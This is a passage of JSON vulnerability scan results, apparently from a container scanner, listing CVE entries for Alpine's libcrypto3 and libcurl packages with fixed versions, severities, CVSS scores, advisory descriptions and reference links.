"V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-9547", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-9547.md", "https://curl.se/docs/CVE-2026-9547.html", "https://curl.se/docs/CVE-2026-9547.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-xq9p-gxg6-f7q6", "https://hackerone.com/reports/3751712", "https://linux.oracle.com/cve/CVE-2026-9547.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-9547", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-9547" ], "PublishedDate": "2026-07-03T07:16:25.99Z", "LastModifiedDate": "2026-09-15T07:16:35.31Z" }, { "VulnerabilityID": "CVE-2026-14456", "PkgID": "libcrypto3@3.5.6-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "975680d851f10fda" }, "InstalledVersion": "3.5.6-r0", "FixedVersion": "3.5.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:53faf570587a3ba3606157fc8f194c944df1c37d59022083c4322d7565bc6db6", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-45447", "PkgID": "libcrypto3@3.5.6-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "975680d851f10fda" }, "InstalledVersion": "3.5.6-r0", "FixedVersion": "3.5.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:928164598fe539c34b060ee1829abb4a4f9e80f330b16986e97593b91683f4ef", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-11352", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11352", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:097a0b4da6d43dbba39da82e9915a815c6639d536521c092a9810df0f9502b38", "Title": "curl: libcurl: curl/libcurl: Remote denial of service via QUIC UDP receive function vulnerability", "Description": "An issue in curl’s QUIC UDP receive function allows a malicious HTTP/3 server\nto trigger a remote denial of service against a curl or libcurl client.\nBecause the helper function discards zero-length UDP datagrams before counting\nthem toward the per-call packet budget, a connected QUIC peer can continuously\nstream empty datagrams to indefinitely stall the client.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11352", "https://curl.se/L7HzKXisfJ/CVE-2026-11352.md", "https://curl.se/docs/CVE-2026-11352.html", "https://curl.se/docs/CVE-2026-11352.json", "https://github.com/advisories/GHSA-qxwx-hr5v-h5q4", "https://hackerone.com/reports/3783438", "https://nvd.nist.gov/vuln/detail/CVE-2026-11352", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11352" ], "PublishedDate": "2026-07-03T07:16:23.693Z", "LastModifiedDate": "2026-09-15T07:16:25.353Z" }, { "VulnerabilityID": "CVE-2026-11586", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11586", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:99f0b7bb0e362c82dcfaa65742c4d6ae0c40ca455c51d42e1a66baa217faeab6", "Title": "curl: curl: Denial of Service via WebSocket PING flood", "Description": "By default, curl automatically responds to WebSocket PING frames. Because curl\nlacks an upper bound on memory allocation for unacknowledged frames, a\nmalicious server can exhaust all available memory by flooding curl with rapid,\nsequential PING messages.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "amazon": 2, "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11586", "https://curl.se/L7HzKXisfJ/CVE-2026-11586.md", "https://curl.se/docs/CVE-2026-11586.html", "https://curl.se/docs/CVE-2026-11586.json", "https://github.com/advisories/GHSA-c68q-h477-5646", "https://hackerone.com/reports/3788931", "https://nvd.nist.gov/vuln/detail/CVE-2026-11586", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11586" ], "PublishedDate": "2026-07-03T07:16:23.883Z", "LastModifiedDate": "2026-09-15T07:16:25.7Z" }, { "VulnerabilityID": "CVE-2026-12064", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12064", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:46d85ed6dc2e9abc03f76b09814ef7165ba610df1266e1b3efad4fee627c94f8", "Title": "curl: curl: SSH host verification bypass when using schemeless URLs with SFTP/SCP", "Description": "When a user invokes curl using a schemeless URL combined with\n`--proto-default` sftp (or scp), a disconnect occurs between the tool layer\nand libcurl. The tool layer incorrectly infers the URL scheme, which\nerroneously bypasses the initialization of critical SSH security options like\nCURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 and CURLOPT_SSH_KNOWNHOSTS. Conversely, the\nlibcurl runtime successfully honors CURLOPT_DEFAULT_PROTOCOL and establishes\nthe connection via SFTP/SCP as specified. Because the tool layer skipped the\nsecurity configuration, these SSH host verification options are silently\nomitted, causing curl to connect to an unverified SSH remote host without\nthrowing an error.", "Severity": "HIGH", "CweIDs": [ "CWE-297", "CWE-295" ], "VendorSeverity": { "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12064", "https://curl.se/L7HzKXisfJ/CVE-2026-12064.md", "https://curl.se/docs/CVE-2026-12064.html", "https://curl.se/docs/CVE-2026-12064.json", "https://github.com/advisories/GHSA-jm94-9f7h-36pr", "https://hackerone.com/reports/3797526", "https://linux.oracle.com/cve/CVE-2026-12064.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-12064", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-12064" ], "PublishedDate": "2026-07-03T07:16:24.217Z", "LastModifiedDate": "2026-09-15T07:16:26.15Z" }, { "VulnerabilityID": "CVE-2026-5773", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.20.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-5773", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:5eddd9f0c706ad45e0035b99a5da252025efab412516594fd165b7422795b679", "Title": "curl: libcurl: Wrong file transfer due to incorrect SMB connection reuse", "Description": "libcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different \"share\" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.", "Severity": "HIGH", "CweIDs": [ "CWE-488", "CWE-918" ], "VendorSeverity": { "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "V3Score": 6.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/9", "https://access.redhat.com/security/cve/CVE-2026-5773", "https://curl.se/docs/CVE-2026-5773.html", "https://curl.se/docs/CVE-2026-5773.json", "https://github.com/advisories/GHSA-rp9q-8q5w-ch44", "https://hackerone.com/reports/3650689", "https://nvd.nist.gov/vuln/detail/CVE-2026-5773", "https://ubuntu.com/security/notices/USN-8227-1", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-5773" ], "PublishedDate": "2026-05-13T13:01:56.307Z", "LastModifiedDate": "2026-09-15T07:16:28.82Z" }, { "VulnerabilityID": "CVE-2026-6276", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.20.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6276", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3b2cbc63888a4cbf778bfba893056a1588dd064b05a9ef37ea62808598251acc", "Title": "curl: libcurl: Information disclosure due to cookie leak when reusing connections with custom Host headers", "Description": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-319" ], "VendorSeverity": { "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 3.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/13", "https://access.redhat.com/security/cve/CVE-2026-6276", "https://curl.se/docs/CVE-2026-6276.html", "https://curl.se/docs/CVE-2026-6276.json", "https://github.com/advisories/GHSA-2jc6-hc33-hv48", "https://hackerone.com/reports/3671818", "https://nvd.nist.gov/vuln/detail/CVE-2026-6276", "https://ubuntu.com/security/notices/USN-8227-1", "https://www.cve.org/CVERecord?id=CVE-2026-6276" ], "PublishedDate": "2026-05-13T13:01:56.8Z", "LastModifiedDate": "2026-09-15T07:16:29.343Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cac41123496246e0df7ccefe1257005bd3ddba13f604e0a609b8278fb179817e", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8458", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8458", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:afc46f9c66e9797858876646f16b20d46e790089e096c0726df77140f8ffc3ef", "Title": "curl: libcurl: Unauthorized connection reuse due to a logical error", "Description": "libcurl might in some circumstances reuse the wrong connection when asked to\ndo Negotiate-authenticated ones, even when they are set to use different\n\"services\".\n\nlibcurl 